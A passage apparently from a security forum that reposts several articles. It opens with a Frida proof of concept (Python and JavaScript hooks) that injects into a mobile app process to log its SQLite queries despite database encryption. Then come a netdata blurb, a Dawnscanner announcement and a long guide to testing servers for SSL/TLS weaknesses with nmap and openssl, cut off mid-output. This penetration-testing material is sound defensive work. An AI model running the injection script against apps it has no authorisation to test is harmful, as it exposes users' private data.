'sqlite3_prepare_v2'); Interceptor.attach(sqlite3_prepare_v2, { onEnter: function(args) { console.log('SQL: ' + Memory.readUtf8String(args[1])); } }); Our Proof of Concept (PoC) is quite simple, basically we use the sample code provided in Frida’s documentation to inject one of our JavaScript files, open.js or prepare.js, into the application process. #poc.py import frida import sys import codecs def on_message(message, data): if message['type'] == 'send': print(message['payload']) elif message['type'] == 'error': print(message['stack']) pid = raw_input("app pid: ") try: session = frida.attach(int(pid))s print "[+] Process Attached" except Exception as e: print "Error => {0}".format(e) sys.exit(0) with codecs.open('./prepare.js', 'r', 'utf-8') as f: source = f.read() script = session.create_script(source) script.on('message', on_message) script.load() try: while True: pass except KeyboardInterrupt: session.detach() sys.exit(0) Screenshots Running our PoC to attach it to the application process and inject our JavaScript. The output is the SQL Statements. The same PoC code could be used against others applications that use a SQLite3 database, such as: Skype. As we have been using Frida for some time now we highly recommend it for doing mobile application tests. Along with our own scripts, highly dependent on the test, we recommend the following Frida extensions: Fridump – https://github.com/Nightbringer21/fridump Appmon – https://github.com/dpnishant/appmon/ CryptoShark – https://github.com/frida/cryptoshark How to prevent It The simplest approach to fix this is, instead of encrypt the database file the application should encrypt the information in memory before saving it to the database. References http://www.frida.re https://github.com/frida/frida-python https://www.sqlite.org/ This entry was posted in Penetration Testing on August 22, 2016 by securusblog. Sursa: https://www.securusglobal.com/community/2016/08/22/fun-with-frida/

netdata Aug 21st, 2016: Netdata got health monitoring - alarms May 16th, 2016 netdata v1.2.0 released! 30% faster! netdata registry, the first step towards scaling out performance monitoring! real-time Linux Containers monitoring! dozens of additional new features, optimizations, bug-fixes May 1st, 2016320.000+ views, 92.000+ visitors, 28.500+ downloads, 11.000+ github stars, 700+ forks, 1 month! And it still runs with 600+ git downloads... per day! Check what our users say about netdata. Real-time performance monitoring, done right! This is the default dashboard of netdata: real-time, per second updates, snappy refreshes! 300+ charts out of the box, 2000+ metrics monitored! zero configuration, zero maintenance, zero dependencies! Live demo: http://netdata.firehol.org Features netdata is a highly optimized Linux daemon providing real-time performance monitoring for Linux systems, Applications, SNMP devices, over the web! It tries to visualize the truth of now, in its greatest detail, so that you can get insights of what is happening now and what just happened, on your systems and applications. This is what you get: Stunning bootstrap dashboards, out of the box (themable: dark, light) Blazingly fast and super efficient, mostly written in C (for default installations, expect just 2% of a single core CPU usage and a few MB of RAM) Zero configuration - you just install it and it autodetects everything Zero dependencies, it is its own web server for its static web files and its web API Zero maintenance, you just run it, it does the rest Custom dashboards that can be built using simple HTML (no javascript necessary) Extensible, you can monitor anything you can get a metric for, using its Plugin API (anything can be a netdata plugin - from BASH to node.js, so you can easily monitor any application, any API) Embeddable, it can run anywhere a Linux kernel runs and its charts can be embedded on your web pages too Link: https://github.com/firehol/netdata

Dawnscanner v1.6.2 – Ruby Code Auditing Tool Dawnscanner is a source code scanner designed to review your ruby code for security issues. Dawnscanner is able to scan plain ruby scripts (e.g. command line applications) but all its features are unleashed when dealing with web applications source code. It supports major MVC (Model View Controller) frameworks, out of the box: Ruby on Rails Sinatra Padrino Dawnscanner is built with security in mind to provide you: A solid vulnerability knowledge base: version 1.5.0 contains 209 security checks and mailing list and website talking about security are continuously polled to include new checks An easy to use tool: dawnscanner provides report in both text and HTML format, it has a json output to be consumed in a script and it provides rake tests to be included in your development workout Vulnerabilty mitigation: dawnscanner has mitigation suggestions in its knowledge base. You won’t be alone dealing with security bugs. More Information: here Download Dawnscanner v1.6.2 Thanks to Paolo Perego, for sharing this tool with us. Sursa: http://www.toolswatch.org/2016/08/dawnscanner-v1-6-2-ruby-code-auditing-tool/

Manually Testing SSL/TLS Weaknesses 2016 Edition By Michael Skiba, 16 Aug. 2016 In 2015 we published a blogpost that explained how to manually test for the most common SSL/TLS weaknesses. This has become one of the most popular posts on our blog and so we have decided to write an update for our readers to ensure that you are up to date with the latest SSL/TLS issues. Introduction The Transport Layer Security (TLS) protocol and its better known predecessor Secure Socket Layer (SSL) are still the pillars for public facing secure transportation of web services, such as HTTPS, SMTPS, IMAPS, etc. It might be the revelations of mass interception of internet traffic by various agencies or a general increase in security awareness that has led to an increase in TLS/SSL deployment (Schneier on Security). The site builtwith, which monitors trends for different web technologies, has registered an increase in the proportion of the top 1 million websites that use HTTPS by default from 22831 (2.2%) in August 2015, to 83951 (8.4%) by July 2016. This represents an increase of a little over 3.5. However, the increasing prevalence of TLS/SSL makes it an interesting target for both hackers and national agencies alike that both try to weaken or break the encryption. As a result, new weaknesses are frequently published, which require an equally frequent update of a server’s TLS/SSL configuration. With this updated blogpost we try to show you more ways to manually test your TLS/SSL configuration. On a brighter note: The proportion of sites with an insecure SSL/TLS configuration (according to SSL Pulse) has dropped from about 75% in June 2015 to 59.5% of the ~140,000 sites surveyed in July 2016. This indicates that the overall security of SSL/TLS configurations has increased. Another noteworthy thing is that the number of sites utilising the HTTP Strict Transport Security header has doubled in size from ~5,300 to 12,500 for the same reporting period, though this still only represent about 8.7%). For more information about this and other HTTP headers, have a look at our blog post about ‘The Security of HTTP-Headers’. This blog post covers the following topics: DROWN (new) TLS_FALLBACK_SCSV (new) Logjam (new) SSLv2 Support SSLv3 Support Cipher Suites SSL Certificates Renegotiation Compression Implementation Issues DROWN Drown stands for Decrypting RSA with Obsolete and Weakened eNcryption and is yet another SSLv2 vulnerability. SSLv2 was discussed in the previous version of this blog post, so why do we mention it again? DROWN is different from merely using old and broken SSLv2 ciphers. DROWN enables an attacker to decrypt, otherwise totally secure, TLS sessions via SSLv2 handshakes. This vulnerability is not limited to a specific SSL implementation. However, OpenSSL, probably the most commonly used SSL implementation, suffers from a bug (CVE-2015-3197) that makes it vulnerable even if no SSLv2 ciphers are offered, but SSLv2 is not explicitly disabled (affected versions are OpenSSL <1.0.1r and <1.0.2f). Another tricky little detail is that if you have several SSL/TLS services running on your server that share the same key material (e.g. because they serve the same certificate), then a single service being vulnerable makes every SSL/TLS connection to your server vulnerable. So an old mail server that supports SSLv2 can endanger an otherwise perfectly configured TLSv1.2-only HTTPS connection. To check if a host is vulnerable to DROWN you can use nmap > =7.10 to scan all the services on your host: nmap –p- –sV –sC example.com A quicker scan, which will only check the most common SSL enabled ports (FTP, HTTP, IMAP, POP, SMTP) is the following line (use in one's sole discretion): nmap –p 21,25,110,143,443,465,587,993,995,2525 –sV –sC example.com To determine if your system is vulnerable look for the line ‘SSLv2 supported’: nmap --script ssl-enum-ciphers -p 443 10.0.0.1 Nmap scan report for 10.0.0.1 PORT STATE SERVICE REASON 443/tcp open https syn-ack | sslv2: | SSLv2 supported | ciphers: | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 |_ SSL2_RC4_128_EXPORT40_WITH_MD5 |_ Please note that nmap <7.10 does not catch the OpenSSL bug (CVE-2015-3197) where OpenSSL still processes SSLv2 handshakes even though it did not offer any SSLv2 ciphers. As an alternative, one can use a tool provided by Hubert Kario, called tlsfuzzer. Full details of the DROWN attack, including the paper released by the researchers, can be found here:https://drownattack.com/#paper. TLS_FALLBACK_SCSV When a client fails to establish an SSL/TLS connection with its most recent supported protocol version, it will attempt to negotiate with the server within the same TCP connection to find the highest common version supported by both the server and client. However, some servers with a poor SSL/TLS implementation are not able to properly communicate to a client that they require an older version of a protocol (e.g. client supports TLS up to version 1.2, while the server only speaks TLS 1.1) and drop the TCP connection. To ensure compatibility, the client will then start a new connection with a lower SSL/TLS version until the negotiation process is complete. Unfortunately, this behaviour is a flaw because the server loses the state information about the negotiation process when it drops the TCP connection and leaves connections between the client and server vulnerable to a downgrade attack. To perform such a downgrade, an attacker in a man-in-the-middle position deliberately alters messages from the server to the client or withholds them entirely, hoping that the client will try to reconnect to the server with a lower protocol version that is easier to attack (e.g. SSLv3). The ability of a man-in-the-middle attacker to perform this attack is regardless of whether the server uses a poor SSL/TLS implementation. To mitigate this attack vector, the TLS_FALLBACK_SCSV ‘cipher’ was introduced. It is not an actual cipher, but provides a method for the client to signal to the server that a previous connection attempt failed. It is advertised by the client as an available cipher when the client is not using its highest supported version. Servers that have implemented the TLS_FALLBACK_SCSV check will detect this ‘cipher’ and compare the client’s advertised protocol version to their own set of supported versions. If the TLS_FALLBACK_SCSV cipher is present and client protocol version is smaller than the highest version supported by the server, i.e. an attacker has downgraded the SSL/TLS connection, the connection will be aborted. If the server is not able to process the TLS_FALLBACK_SCSV cipher then it will simply think of it as an unsupported cipher and ignore it. The following scenarios are provided to help understand the function of the TLS_FALLBACK_SCSV cipher: A client that can speak TLSv1.2 attempts to connect to a server that only speaks TLSv1.1: The client’s first attempt to speak TLSv1.2 will fail and we assume the server does not respond properly so closes the connection. The client then tries to reconnect using TLSv1.1 and will also advertise the cipher TLS_FALLBACK_SCSV. The server sees this cipher and compares both protocol versions. It will see that TLSv1.1 is the latest version that it supports and accept the connection. As above, the client supports TLSv1.2, but the server also supports TLSv1.2. However, an attacker has dropped connection attempts from the client using TLSv1.2, 1.1 and 1.0 until the client tries to connect using SSLv3. The server supports SSLv3 but sees and understands the TLS_FALLBACK_SCSV cipher, which indicates that the client has previously attempted a connection with a higher version. The server knows that it supports higher version and determines that something has interfered with previous connection attempts resulting in a downgrade. The result is that the server sends an error message to the client and aborts the connection. To test if a server checks the TLS_FALLBACK_SCSV cipher, you can use the following command, adjusting the protocol version (highlighted) to the lowest available supported by your server: openssl s_client –tls1 -fallback_scsv -connect example.com:443 If your server supports something better than SSLv3 and checks for the presence of the TLS_FALLBACK_SCSV cipher, it should abort the connection with an error like the following: tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86 The TLS_FALLBACK_SCSV cipher was first proposed in response to the POODLE attack which, in part, used a downgrade prior to exploiting a padding oracle in SSLv3. Details of the POODLE attack and the proposed TLS_FALLBACK_SCSV cipher can be found here:https://www.openssl.org/~bodo/ssl-poodle.pdf. Logjam The Logjam vulnerability affects cipher suites that use a Diffie-Hellman (DH) key exchange (excluding elliptic curve DH) with small DH parameters (<2048 bits). The research that resulted in the Logjam attack demonstrated how it was possible to pre-compute the majority of work required to crack the DH key exchange. Due to the increasing computational power available (e.g. cloud computing and GPU clusters) it has become possible to crack these small keys in just a small amount of time with only reasonable financial investments, e.g. while it took approximately 6 weeks to crack a 512 bit parameters in 2002, you can crack the same 512 bit DH parameters in only a few hours in 2016. 1024 bit parameters will take a longer to crack, but is understood to be achievable for large organisations and governments with enough computing power. This automatically rules out all of the DHE_EXPORT ciphers, which are capped at 512 bits (but you shouldn’t use export ciphers anyway). To check if your non-export DH ciphers have an appropriate key size you can use the following command: openssl s_client -connect www.example.com:443 -cipher "EDH" The DH parameter size used is displayed in the output next to “Server Temp Key”. Please note that you’ll need at least OpenSSL 1.0.2 to display the ‘Sever Temp Key’ parameter. --- No client certificate CA names sent Peer signing digest: SHA512 Server Temp Key: DH, 2048 bits --- SSL handshake has read 6641 bytes and written 455 bytes --- New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-GCM-SHA384 ... The currently recommended minimum size for DH parameters is 2048 bits. Anything equal or below 1024 is considered insecure. Further details on the Logjam attack, including the paper released by the researchers, can be found here: https://weakdh.org/. SSLv2 Support SSLv2 was released twenty years ago and soon after discovered to have significant weaknesses which could allow an attacker to decrypt and modify communications. It was superseded a year later by SSLv3 which addressed these issues, but despite its age and short lifespan SSLv2 support is still surprisingly common (especially among non-http services – read the DROWN section below to learn why this is a big problem). To check whether SSLv2 is enabled on the remote host, the following command can be used: openssl s_client –ssl2 -connect example.com:443 If SSLv2 is supported, the handshake will complete and server certificate information will be returned, as shown in the following response: openssl s_client -ssl2 -connect 10.0.0.1:443 CONNECTED(00000003) depth=0 /C=AU/ST=/L=/O=Context/OU=context/CN=sslserver verify error:num=18:self signed certificate verify return:1 depth=0 /C=AU/ST=/L=/O=Context/OU=context/CN=sslserver verify return:1 --- Server certificate -----BEGIN CERTIFICATE----- MIICnjCCAgugAwIBAgIJAPB2liVH7xRsMA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNV BAYTAkFVMREwDwYDVQQIDAhWaWN0b3JpYTESMBAGA1UEBwwJTWVsYm91cm5lMRAw DgYDVQQKDAdDb250ZXh0MRAwDgYDVQQLDAdQbGF5cGVuMRIwEAYDVQQDDAlzc2xz ZXJ2ZXIwHhcNMTQwMTE3MDMwNjAxWhcNMTcxMDEzMDMwNjAxWjBsMQswCQYDVQQG EwJBVTERMA8GA1UECAwIVmljdG9yaWExEjAQBgNVBAcMCU1lbGJvdXJuZTEQMA4G A1UECgwHQ29udGV4dDEQMA4GA1UECwwHUGxheXBlbjESMBAGA1UEAwwJc3Nsc2Vy dmVyMIGbMA0GCSqGSIb3DQEBAQUAA4GJADCBhQJ+AJdlQF95PWaFnmN0hQd5BYUf SALBHBDO+JkNIPj5evYEAoPql3Am6Uphv3Pxyd+scDowb7UrReH8dBltxfz0Id4V 3wpSJRdwo4Gx8xx27tLjDqbTaPKfSRWGpr0s2S2KJerr3XJvTDtWoiHN3zsx5kLU qvKTm+3LNHp7DgwNAgMBAAGjUDBOMB0GA1UdDgQWBBS5W+orwrw8K5LuFRykGg9w 1DCanzAfBgNVHSMEGDAWgBS5W+orwrw8K5LuFRykGg9w1DCanzAMBgNVHRMEBTAD AQH/MA0GCSqGSIb3DQEBBQUAA34AegQVwKLQseAu7krFdsrfL117Sfpk7BuucJXJ nNbg9WRKFk5raikmp1nc5zLRZ4c6waDSX/rrT2g06IXSAJXmv5d2NYU+5YECJnY5 ApexOlQJvsunKXZdJvBC6FijyLGi8G9zbA5S++JQkXWtiiICPGF2afYI5ahBgGO2 hgE= -----END CERTIFICATE----- subject=/C=AU/ST=/L=/O=Context/OU=context/CN=sslserver issuer=/C=AU/ST=/L=/O=Context/OU=context/CN=sslserver -- No client certificate CA names sent --- Ciphers common between both SSL endpoints: RC4-MD5 EXP-RC4-MD5 RC2-CBC-MD5 EXP-RC2-CBC-MD5 DES-CBC-MD5 DES-CBC3-MD5 --- SSL handshake has read 807 bytes and written 233 bytes --- New, SSLv2, Cipher is DES-CBC3-MD5 Server public key is 1000 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE SSL-Session: Protocol : SSLv2 Cipher : DES-CBC3-MD5 Session-ID: 3BD641677102DBE9BDADF9B990D2D716 Session-ID-ctx: Master-Key: D2AAB3751263EB53BAD83453D26A09DA1F700059FD16B510 Key-Arg : DB92A6A80BF4CA4A Start Time: 1390178607 Timeout : 300 (sec) Verify return code: 18 (self signed certificate) If the server does not support SSLv2 the response will be a handshake failure error similar to the following: CONNECTED(00000003) 458:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:428: A nice one-liner to use in a script: echo Q | openssl s_client –ssl2 -connect example.com:443 | grep “Begin Certificate” Please note that debian and some other distributions have removed the ssl2 option from their openssl packages years ago (Bug#589706), despite displaying it as an option in the help section. So if you get the message “unknown option -ssl2” you’ll have grab yourself a standalone version of openssl or remove the patch that disabled sslv2 manually. SSLv3 Support Despite some issues, SSLv3 was considered secure (at least when configured correctly) until last year when the Google Security Team introduced their Padding Oracle On Downgraded Legacy Encryption (POODLE) attack. POODLE demonstrated that, under certain conditions, it is possible to conduct a "padding oracle" attack against ciphers using cipher-block chaining (CBC) mode. This may allow decryption of communications and disclosure of session cookies. As the only non-CBC cipher supported in SSLv3, RC4, is also known to be cryptographically weak, the conclusion is that SSLv3 should not be used for communications. The Google Security Team further showed that an attacker can force the client and server to downgrade to SSLv3 even if they would normally use TLS, meaning that it is important to ensure that SSLv3 is disabled completely. To test whether a system supports SSLv3, the following OpenSSL command can be used: openssl s_client -ssl3 -connect google.com:443 CONNECTED(00000003) depth=2 /C=US/O=GeoTrust Inc./CN=GeoTrust Global CA verify error:num=20:unable to get local issuer certificate verify return:0 --- Certificate chain --- Certificate details removed for brevity --- --- New, TLSv1/SSLv3, Cipher is RC4-SHA Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : SSLv3 Cipher : RC4-SHA Session-ID: 6E461AEAD8C1516F9D8950A9B5E735F9882BFC6EA0838D81CFD41C01A3799A41 Session-ID-ctx: Master-Key: 7E7680640BB7E2C83CBE87342727E0D09AC10EEEB095A8C0A2501EAE80FA1C20D3F3FE4346B1234057D6D506420273FA Key-Arg : None Start Time: 1421296281 Timeout : 7200 (sec) Verify return code: 0 (ok) --- A handshake failure error would indicate that SSLv3 is not supported and the server is not vulnerable to POODLE. A nice one-liner to use in a script: echo Q | openssl s_client –ssl3 -connect example.com:443 | grep “Begin Certificate” Cipher Suites One of the main functions of the SSL/TLS protocols is to allow the client and server to negotiate a mutually acceptable "cipher suite" to use for the connection. The cipher suite chosen specifies a set of algorithms which the client and server will use to perform key exchange, encryption, and message authentication. A cipher suite is typically described in a format similar to this: TLS_RSA_WITH_AES_128_CBC_SHA where RSA is the key exchange algorithm, AES_128_CBC is the encryption cipher (AES using a 128-bit key operating in Cipher-Block Chaining mode), and SHA is the Message Authentication Code (MAC) algorithm. The cipher suites a server is configured to support should be dictated by its security requirements. The following guidelines are generally recommended as a baseline: The key exchange algorithm should be restricted to those which provide "perfect forward secrecy", such as Ephemeral Diffie-Hellman (DHE) or Ephemeral Elliptic Curve Diffie-Hellman (ECDHE). The cipher should not suffer from known cryptanalytic flaws. This rules out RC4 which has been known to have flaws for many years and in the past few years has been shown to be significantly weaker than originally thought. The cipher should use at least a 128 bit symmetric key, which rules out DES and Triple-DES. Cipher-Block Chaining (CBC) mode is prone to padding oracle attacks and should ideally be avoided altogether, but specifically it should not be used in conjunction with SSLv3 or TLSv1.0 as this can lead to vulnerability to the BEAST attack. An alternative is Galois Counter Mode (GCM) which is not affected by these problems and offers authenticated encryption. The message authentication algorithm should be SHA256. MD5 is known to be cryptographically weak and is considered insecure by most browsers nowadays. Similarly phasing out SHA1 (just denoted SHA in the cipher suite specifications) has begun, since it has its own weaknesses (for example the ). The major browsers, such as Chrome, Firefox and Internet Explorer will show a warning if the certificate is valid after January 1st Use SHA256 (named as such in the cipher suite specifications) instead. NULL and anonymous (anon) ciphers should be avoided as these provide no security at all. "Export" algorithms should also be disabled as their short key lengths make them susceptible to brute-force attacks and other attacks such as the FREAK attack. Nmap's "ssl-enum-ciphers" script can be used to produce a list of the supported cipher suites in the following way: nmap --script ssl-enum-ciphers -p 443 example.com Example nmap --script ssl-enum-ciphers -p 443 10.0.0.1 Nmap scan report for 10.0.0.1 PORT STATE SERVICE REASON 443/tcp open https syn-ack | ssl-enum-ciphers: | SSLv3 | Ciphers (6) | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - unknown strength | TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - weak | TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 - broken | TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA - unknown strength | TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA - strong | TLS_RSA_WITH_AES_256_CBC_SHA - unknown strength | Compressors (1) | uncompressed | TLSv1.0 | Ciphers (6) | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - unknown strength | TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA - unknown strength | TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA - strong | TLS_RSA_WITH_AES_256_CBC_SHA - unknown strength | Compressors (1) | uncompressed |_ While nmap will give a strength rating for each supported cipher suite, the fast pace of change SSL/TLS security means that these ratings should be manually reviewed. A list of recommended ciphers for different use cases can be found over at Mozilla. To manually verify if a certain type of cipher suite is available one can use the following OpenSSL commands to see if a connection attempt is successful. Please note that a successful connection means that there is at least one cipher that supports this type, but there might be many more. Therefore a manual inspection might be the better choice (see above). A list of available ciphers can be displayed with: openssl ciphers Following is means to test for ciphers that should be disabled/enabled, based on the cipher criteria mentioned above. Anonymous Cipher (Connection should fail): openssl s_client -cipher aNULL -connect example.com:443 DES Cipher (Connection should fail): openssl s_client -cipher DES -connect example.com:443 3DES Cipher (Connection should fail): openssl s_client -cipher 3DES -connect example.com:443 Export Cipher (Connection should fail): openssl s_client -cipher EXPORT -connect example.com:443 Low Cipher (Connection should fail): openssl s_client -cipher LOW -connect example.com:443 RC4 Cipher (Connection should fail): openssl s_client -cipher RC4 -connect example.com:443 NULL Cipher (Connection should fail): openssl s_client -cipher NULL -connect example.com:443 Perfect Forward Secrecy Cipher (Connection should NOT fail): openssl s_client -cipher EECDH, EDH NULL -connect example.com:443 SSL/TLS Certificates SSL/TLS supports the use of authentication via X.509 certificates, which are often termed "SSL certificates" when used in this context. Server certificates enable the client to verify that it is connecting to the correct host. Though not usually used for HTTPS, SSL/TLS can also support mutual authentication in which the client proves its own identity through the provision of its own certificate. Some of the main security properties which should be considered when setting up a certificate include: "Not Before" - This gives the start date of the certificate and should be a date in the past. "Not After" - This gives the expiry date of the certificate after which is should not be trusted. It is therefore important to ensure that this is a date in the future. As the expiry date approaches, a new certificate should be issued to replace it. "Signature Algorithm" - This is the algorithm used to ensure the certificate's integrity. MD5 has been shown to be inadequate for this, with collision attacks allowing fake, but valid, certificates to be generated. SHA1 is in the process of being phased out due to known weaknesses (see the Cipher Suite section above), with SHA2 hash functions being the preferred alternative. "Public-Key" - The public key should be long enough to ensure that attacks are computationally infeasible. In the case of RSA, 2048 bit public keys are now considered a sensible minimum to protect against factoring attacks. "Issuer" - This is the entity which has issued the certificate and should be a trusted party recognised by both the client and server. The issuer is typically a third-party certificate authority (such as DigiCert in the example above), though larger organisations often operate their own certificate authority to sign certificates for internal use. While it is possible to generate so-called "self-signed" certificates, these prevent the client from authenticating the server and open up the possibility of man-in-the-middle attacks in which an attacker dupes the client and/or server into communicating with the attacker rather than each other. "Subject" and "Subject Alternative Name" - These should contain the DNS information necessary to tie the IP of the server running the SSL/TLS service. If these values are not valid domain names (or wildcard domains), then the client will be unable to determine whether or not the certificate is associated with the server in question and cannot therefore use it to authenticate the server. To view the details of a server's certificate, the following command can be used: openssl s_client -connect example.com:443 | openssl x509 -noout -text This will produce output similar to the following (here PayPal's certificate is shown): Certificate: Data: Version: 3 (0x2) Serial Number: 0e:65:41:91:6c:e8:cf:b2:9b:7b:52:71:01:05:ba:c4 Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA Validity Not Before: Dec 12 00:00:00 2014 GMT Not After : Dec 16 12:00:00 2016 GMT Subject: C=US, ST=California, L=San Jose, O=PayPal, Inc., OU=PayPal Production, CN=paypal.com Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:d5:c8:b2:65:07:ff:fb:71:0a:cf:a8:77:97:fc: e1:a4:87:5d:79:29:03:e0:1a:5f:c2:f8:71:c9:ac: bc:d3:16:e0:9c:2e:bb:d9:1c:5b:cc:90:7d:e3:54: ab:53:79:50:37:63:b1:cb:68:56:ee:6a:5b:d2:10: 38:1a:35:f7:37:12:83:d9:72:51:9e:b7:f9:9c:1d: b8:a9:e6:f3:27:bb:5b:8b:b9:be:fa:39:19:83:d9: cd:66:69:1d:cc:8a:cb:59:b5:53:3e:ca:41:f6:ac: 89:4d:58:06:04:a5:e2:c9:94:05:26:6c:24:a6:81: ca:4a:01:11:4c:a2:8d:83:7a:9a:2a:7d:16:93:ca: a0:df:59:b8:e1:38:18:b2:bd:eb:77:6b:57:fb:7f: d6:70:e1:2d:70:dd:cc:af:43:f0:de:a0:fc:2f:8e: 94:74:3c:4f:ae:ca:f6:f2:ab:09:7f:63:71:b6:27: 78:4d:f8:e1:e0:86:3a:81:9f:d4:55:45:27:ff:4d: 53:2f:99:43:28:ad:fa:c9:63:6f:64:28:36:d7:ea: c3:00:50:88:86:a3:d0:83:ae:be:99:18:25:b2:44: 05:c6:e8:36:4a:fb:4d:ab:df:6d:0f:50:3f:80:fc: 38:ba:4c:53:c1:6d:48:22:68:7a:ed:6e:05:e4:9d: 58:ef Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Authority Key Identifier: keyid:51:68:FF:90:AF:02:07:75:3C:CC:D9:65:64:62:A2:12:B8:59:72:3B X509v3 Subject Key Identifier: 1F:54:C7:2D:0E:D3:6C:C4:63:FE:66:1C:EA:8C:50:75:3A:01:8F:DE X509v3 Subject Alternative Name: DNS:paypal.com, DNS:www.paypal.com X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Extended Key Usage: TLS Web Server Authentication, TLS Web Client Authentication X509v3 CRL Distribution Points: Full Name: URI:http://crl3.digicert.com/sha2-ha-server-g3.crl Full Name: URI:http://crl4.digicert.com/sha2-ha-server-g3.crl X509v3 Certificate Policies: Policy: 2.16.840.1.114412.1.1 CPS: https://www.digicert.com/CPS Authority Information Access: OCSP - URI:http://ocsp.digicert.com CA Issuers - URI:http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha256WithRSAEncryption 3d:79:69:48:5d:f6:bc:4b:5f:81:f3:97:9d:61:e5:9c:46:b9: 73:00:66:09:f1:8a:06:89:14:a3:25:ea:ba:a2:5d:ac:77:3a: 8f:6a:8a:11:9b:c3:35:67:99:9f:9d:c2:c0:ac:9f:eb:24:58: c8:4a:be:07:31:30:8c:69:07:bc:ff:c0:5a:d1:17:c6:05:f7: 75:ca:fe:cd:98:78:43:41:ac:14:75:f7:c9:10:f4:07:38:58: 73:6a:84:58:1f:a9:31:7d:28:47:70:98:de:3f:d7:00:82:a6: 5c:2e:5d:31:96:4a:06:82:a2:a0:02:95:fd:6f:ef:66:4a:57: 50:c3:1a:84:48:26:47:73:6e:c8:d7:30:fb:75:11:d6:ee:67: 7e:d4:15:b2:44:15:ef:ee:ab:ba:81:c2:f5:05:04:d1:f3:70: bb:96:41:03:eb:d1:e0:e4:3d:57:41:8d:3d:7a:df:f0:c1:68: 6f:43:68:e1:8d:1e:19:7e:57:aa:49:43:28:2a:f1:8c:f7:0d: a4:6a:8c:18:75:6b:a4:cc:a7:2f:e5:21:d1:81:8c:d4:bc:f4: 00:4c:f6:37:03:a3:61:33:b2:ea:15:34:48:53:83:48:57:6c: 33:f2:b7:fb:f3:fc:ea:df:0d:d0:e2:49:01:b4:23:c9:3d:7a: f4:42:4f:98 Renegotiation The SSL/TLS protocols allow the client and server to renegotiate new encryption keys during a session. A vulnerability was discovered in 2009 whereby an attacker could exploit a flaw in the renegotiation process and inject content into the start of the session, compromising the integrity of the session. This is only possible if two conditions are met, namely that the server does not support secure renegotiation but does honour client-initiated renegotiations. These conditions can be checked for as described below: Secure Renegotiation The following demonstrates how to verify if a system supports secure renegotiation. openssl s_client -connect example.com:443 A system that does not support secure renegotiation will return the following when a connection is established. CONNECTED(00000003) 139677333890704:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:429: --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 36 bytes --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE SSL-Session: Protocol : SSLv2 Cipher : 0000 Session-ID: Session-ID-ctx: Master-Key: Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None Start Time: 1428910482 Timeout : 300 (sec) Verify return code: 0 (ok) --- Client Initiated Renegotiation The following demonstrates how to check if client initiated renegotiation is supported. openssl s_client -connect example.com:443 Once the connection is established, the server will wait for us to type the next command. We can write the following two lines in order to initiate a renegotiation by specifying R in the second line, followed by enter or return. openssl s_client -connect host:port HEAD / HTTP/1.0 R <Enter or Return key> A system that does not support client initiated renegotiation will return an error and end the connection, or the connection will time out. Please note that below is just one of the many different error messages that you can encounter when your renegotiation is blocked. RENEGOTIATING write:errno=104 A system that supports client initiated renegotiation will keep the connection active, and respond to further commands. Please note that some implementations allow a limited rate of renegotiations before blocking your renegotiation attempts. So if it initially looks like the server supports renegotiation try sending R a few more times to see if it really poses a threat. Compression The use of compression has been linked to two side channel attacks: CRIME and BREACH. Crime The Compression Ratio Info-leak Made Easy (CRIME) attack is a side-channel attack against TLS compression. To carry out the attack, the attacker needs to exert partial control over the content of requests made by the client (e.g. by using a Cross-Site Scripting vulnerability to force the user's browser to issue requests). The attacker can then observe the compressed size of these requests on the network and from that infer the contents of the remainder of the request (e.g. session cookies) based on the level of compression achieved. To test whether a server supports TLS compression, and is vulnerable to CRIME, the following method can be used: openssl s_client -connect example.com:443 On the servers supporting compression, a response similar to the one below will be received, containing details about the compression. The lines "Compression: zlib compression" and "Compression: 1 (zlib compression)" indicate that the remote server is vulnerable to the CRIME attack. --- New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA Server public key is 2048 bit Secure Renegotiation IS supported Compression: zlib compression Expansion: zlib compression SSL-Session: Protocol : TLSv1.1 Cipher : DHE-RSA-AES256-SHA Session-ID: 50791A02E03E42F8983344B25C8ED4598620518D5C917A3388239AAACE991858 Session-ID-ctx: Master-Key: 9FEDB91F439775B49A5C49342FF53C3DD7384E4AFC33F9C6AFB64EA3D639CA57253AD7D059BA54E01581AD3A73306342 Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 300 (seconds) TLS session ticket: 0000 - 34 38 24 70 35 88 4a 68-0c 80 e6 c5 76 a1 0e ee 48$p5.Jh....v... 0010 - 14 2e fb ef fa 42 f0 c1-58 ee 70 02 90 